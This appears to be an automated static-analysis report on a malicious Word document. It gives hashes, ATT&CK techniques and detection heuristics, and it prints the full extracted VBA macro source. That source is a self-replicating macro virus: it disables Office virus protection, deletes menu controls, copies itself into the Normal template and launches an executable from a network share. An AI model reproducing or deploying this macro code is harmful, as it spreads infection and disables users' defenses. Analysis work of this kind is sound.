Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf81a4fa9fc1d2aa…

MALICIOUS

Office (OLE)

52.5 KB Created: 2015-05-06 09:21:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 875550181acc485c53674db5d40d7cd0 SHA-1: 7bf11e2b390defd062b0b44fca0bcfe663c5a430 SHA-256: bf81a4fa9fc1d2aae61bca2ad6d5f7036ca87ece2e0a705422dcfcaaeca8693e
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_Close' macro attempts to delete itself and other macro-related commands, likely to evade detection. It then executes a shell command to run '\jdq\cc$\b.exe', indicating it acts as a downloader for a second-stage payload. The presence of self-replication and AV tampering heuristics further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("\\jdq\cc$\b.exe")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3511 bytes
SHA-256: 9f9b1866a3d91b92ed9b9ee1ee245ac7bd5472bbfc059b277ba0580887544052
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If


End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

End Sub

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